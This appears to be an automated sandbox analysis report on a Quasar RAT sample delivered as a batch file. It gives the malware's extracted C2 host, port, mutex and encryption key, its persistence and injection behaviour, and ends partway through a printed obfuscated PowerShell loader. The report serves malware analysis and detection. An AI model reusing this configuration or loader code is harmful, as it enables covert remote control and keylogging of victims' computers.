quasar | 8711245a4e790f4e757f4657e0edd3ff36cd767293e60b56d8e8501bca9c8a3d

Analysis

max time kernel
1800s
max time network
1791s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
08-05-2024 17:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Uni.bat
Size

670KB
MD5

6a80458e28d1386f08bbd333e223ec19
SHA1

77ab8b6fa59cc618bf4a5e7f52ffcd8f5c9656a8
SHA256

8711245a4e790f4e757f4657e0edd3ff36cd767293e60b56d8e8501bca9c8a3d
SHA512

e6db2882538d6b563aaeb8df1831ea8c90dd37242fe686e9ab0b80f9c397bdfdf3596b28b036ac9308c456257e7a3cc607657c4e98853647e85d23f8b1588d81
SSDEEP

12288:3X+4dH3qy2pEKjy2YkbOtscQeH8XDYTDL832UtYnUg3:H+4dH3enjy2ZbOzTceUq

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-dOMA5C0pQTTpKjVsCp

Attributes

encryption_key
UBXs44u6E81wxBGZxQHk
install_name
$sxr-powershell.exe
log_directory
$SXR-KEYLOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\x.exe	family_quasar
behavioral2/memory/1600-7986-0x00000000002B0000-0x000000000031C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 436 created 584 436 powershell.EXE winlogon.exe
PID 2748 created 584 2748 powershell.EXE winlogon.exe
Downloads MZ/PE file

description	pid	process	target process
PID 436 created 584	436	powershell.EXE	winlogon.exe
PID 2748 created 584	2748	powershell.EXE	winlogon.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 4 IoCs

Processes:

x.exe$sxr-powershell.exeinstall.exeinstall.exe

pid process

1600 x.exe
3008 $sxr-powershell.exe
3576 install.exe
2240 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

7 raw.githubusercontent.com
11 raw.githubusercontent.com
6 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

2 ip-api.com

pid	process
1600	x.exe
3008	$sxr-powershell.exe
3576	install.exe
2240	install.exe

flow	ioc
7	raw.githubusercontent.com
11	raw.githubusercontent.com
6	raw.githubusercontent.com

flow	ioc
2	ip-api.com

Drops file in System32 directory 15 IoCs

Processes:

svchost.exepowershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 436 set thread context of 4328	436	powershell.EXE	dllhost.exe
PID 2748 set thread context of 1088	2748	powershell.EXE	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exe

pid process

912 schtasks.exe
812 SCHTASKS.exe
2944 schtasks.exe

pid	process
912	schtasks.exe
812	SCHTASKS.exe
2944	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEOfficeClickToRun.exepowershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715189321"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={447BF857-54C7-402E-9358-1A2490BB118D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEpowershell.EXEdllhost.exe$sxr-powershell.exedllhost.exewmiprvse.exe

pid	process
436	powershell.EXE
436	powershell.EXE
436	powershell.EXE
2748	powershell.EXE
2748	powershell.EXE
436	powershell.EXE
2748	powershell.EXE
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
3008	$sxr-powershell.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
2748	powershell.EXE
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
4212	wmiprvse.exe
3008	$sxr-powershell.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
3008	$sxr-powershell.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe
1088	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

x.exe$sxr-powershell.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1600	x.exe
Token: SeDebugPrivilege	3008	$sxr-powershell.exe
Token: SeDebugPrivilege	436	powershell.EXE
Token: SeDebugPrivilege	2748	powershell.EXE
Token: SeDebugPrivilege	436	powershell.EXE
Token: SeDebugPrivilege	4328	dllhost.exe
Token: SeDebugPrivilege	2748	powershell.EXE
Token: SeDebugPrivilege	1088	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2100	svchost.exe
Token: SeIncreaseQuotaPrivilege	2100	svchost.exe
Token: SeSecurityPrivilege	2100	svchost.exe
Token: SeTakeOwnershipPrivilege	2100	svchost.exe
Token: SeLoadDriverPrivilege	2100	svchost.exe
Token: SeSystemtimePrivilege	2100	svchost.exe
Token: SeBackupPrivilege	2100	svchost.exe
Token: SeRestorePrivilege	2100	svchost.exe
Token: SeShutdownPrivilege	2100	svchost.exe
Token: SeSystemEnvironmentPrivilege	2100	svchost.exe
Token: SeUndockPrivilege	2100	svchost.exe
Token: SeManageVolumePrivilege	2100	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2100	svchost.exe
Token: SeIncreaseQuotaPrivilege	2100	svchost.exe
Token: SeSecurityPrivilege	2100	svchost.exe
Token: SeTakeOwnershipPrivilege	2100	svchost.exe
Token: SeLoadDriverPrivilege	2100	svchost.exe
Token: SeSystemtimePrivilege	2100	svchost.exe
Token: SeBackupPrivilege	2100	svchost.exe
Token: SeRestorePrivilege	2100	svchost.exe
Token: SeShutdownPrivilege	2100	svchost.exe
Token: SeSystemEnvironmentPrivilege	2100	svchost.exe
Token: SeUndockPrivilege	2100	svchost.exe
Token: SeManageVolumePrivilege	2100	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2100	svchost.exe
Token: SeIncreaseQuotaPrivilege	2100	svchost.exe
Token: SeSecurityPrivilege	2100	svchost.exe
Token: SeTakeOwnershipPrivilege	2100	svchost.exe
Token: SeLoadDriverPrivilege	2100	svchost.exe
Token: SeSystemtimePrivilege	2100	svchost.exe
Token: SeBackupPrivilege	2100	svchost.exe
Token: SeRestorePrivilege	2100	svchost.exe
Token: SeShutdownPrivilege	2100	svchost.exe
Token: SeSystemEnvironmentPrivilege	2100	svchost.exe
Token: SeUndockPrivilege	2100	svchost.exe
Token: SeManageVolumePrivilege	2100	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2100	svchost.exe
Token: SeIncreaseQuotaPrivilege	2100	svchost.exe
Token: SeSecurityPrivilege	2100	svchost.exe
Token: SeTakeOwnershipPrivilege	2100	svchost.exe
Token: SeLoadDriverPrivilege	2100	svchost.exe
Token: SeSystemtimePrivilege	2100	svchost.exe
Token: SeBackupPrivilege	2100	svchost.exe
Token: SeRestorePrivilege	2100	svchost.exe
Token: SeShutdownPrivilege	2100	svchost.exe
Token: SeSystemEnvironmentPrivilege	2100	svchost.exe
Token: SeUndockPrivilege	2100	svchost.exe
Token: SeManageVolumePrivilege	2100	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2100	svchost.exe
Token: SeIncreaseQuotaPrivilege	2100	svchost.exe
Token: SeSecurityPrivilege	2100	svchost.exe
Token: SeTakeOwnershipPrivilege	2100	svchost.exe
Token: SeLoadDriverPrivilege	2100	svchost.exe
Token: SeSystemtimePrivilege	2100	svchost.exe
Token: SeBackupPrivilege	2100	svchost.exe
Token: SeRestorePrivilege	2100	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

3008 $sxr-powershell.exe

pid	process
3008	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exex.exe$sxr-powershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 4772 wrote to memory of 4596	4772	cmd.exe	findstr.exe
PID 4772 wrote to memory of 4596	4772	cmd.exe	findstr.exe
PID 4772 wrote to memory of 2648	4772	cmd.exe	cscript.exe
PID 4772 wrote to memory of 2648	4772	cmd.exe	cscript.exe
PID 4772 wrote to memory of 1600	4772	cmd.exe	x.exe
PID 4772 wrote to memory of 1600	4772	cmd.exe	x.exe
PID 4772 wrote to memory of 1600	4772	cmd.exe	x.exe
PID 1600 wrote to memory of 912	1600	x.exe	schtasks.exe
PID 1600 wrote to memory of 912	1600	x.exe	schtasks.exe
PID 1600 wrote to memory of 912	1600	x.exe	schtasks.exe
PID 1600 wrote to memory of 3008	1600	x.exe	$sxr-powershell.exe
PID 1600 wrote to memory of 3008	1600	x.exe	$sxr-powershell.exe
PID 1600 wrote to memory of 3008	1600	x.exe	$sxr-powershell.exe
PID 1600 wrote to memory of 3576	1600	x.exe	install.exe
PID 1600 wrote to memory of 3576	1600	x.exe	install.exe
PID 1600 wrote to memory of 3576	1600	x.exe	install.exe
PID 1600 wrote to memory of 812	1600	x.exe	SCHTASKS.exe
PID 1600 wrote to memory of 812	1600	x.exe	SCHTASKS.exe
PID 1600 wrote to memory of 812	1600	x.exe	SCHTASKS.exe
PID 3008 wrote to memory of 2944	3008	$sxr-powershell.exe	schtasks.exe
PID 3008 wrote to memory of 2944	3008	$sxr-powershell.exe	schtasks.exe
PID 3008 wrote to memory of 2944	3008	$sxr-powershell.exe	schtasks.exe
PID 3008 wrote to memory of 2240	3008	$sxr-powershell.exe	install.exe
PID 3008 wrote to memory of 2240	3008	$sxr-powershell.exe	install.exe
PID 3008 wrote to memory of 2240	3008	$sxr-powershell.exe	install.exe
PID 436 wrote to memory of 4328	436	powershell.EXE	dllhost.exe
PID 436 wrote to memory of 4328	436	powershell.EXE	dllhost.exe
PID 436 wrote to memory of 4328	436	powershell.EXE	dllhost.exe
PID 436 wrote to memory of 4328	436	powershell.EXE	dllhost.exe
PID 436 wrote to memory of 4328	436	powershell.EXE	dllhost.exe
PID 436 wrote to memory of 4328	436	powershell.EXE	dllhost.exe
PID 436 wrote to memory of 4328	436	powershell.EXE	dllhost.exe
PID 436 wrote to memory of 4328	436	powershell.EXE	dllhost.exe
PID 4328 wrote to memory of 584	4328	dllhost.exe	winlogon.exe
PID 4328 wrote to memory of 640	4328	dllhost.exe	lsass.exe
PID 4328 wrote to memory of 740	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 900	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1008	4328	dllhost.exe	dwm.exe
PID 4328 wrote to memory of 440	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 380	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 832	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1056	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1064	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1212	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1224	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1264	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1308	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1388	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1452	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1468	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1520	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1568	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1576	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1684	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1708	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1800	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1808	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1860	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1920	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1748	4328	dllhost.exe	spoolsv.exe
PID 4328 wrote to memory of 2100	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 2144	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 2348	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 2364	4328	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:584
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1008
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{9dfd7cb8-67a0-45e3-9f1d-df43161f88de}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4328
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{4f90bf2c-a43b-4b20-b03e-407d6e2358aa}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1088

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:640

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:740

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:900

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:440

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:380

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:832

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1056
- c:\windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wTFGeKLwCGwp{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gHqrRMcySsftKx,[Parameter(Position=1)][Type]$VawovCrSBq)$XTtmyckxsML=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+[Char](108)+''+'e'+''+[Char](99)+''+'t'+'ed'+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+'mo'+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+'el'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+',A'+[Char](117)+''+'t'+'o'+'C'+'l'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$XTtmyckxsML.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+'a'+''+'l'+''+'N'+''+[Char](97)+''+'m'+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+','+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$gHqrRMcySsftKx).SetImplementationFlags(''+[Char](82)+'u'+'n'+'t'+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$XTtmyckxsML.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+'e','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+'eB'+[Char](121)+'S'+'i'+'g,'+'N'+''+[Char](101)+'wS'+'l'+''+'o'+''+[Char](116)+''+','+''+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+'l',$VawovCrSBq,$gHqrRMcySsftKx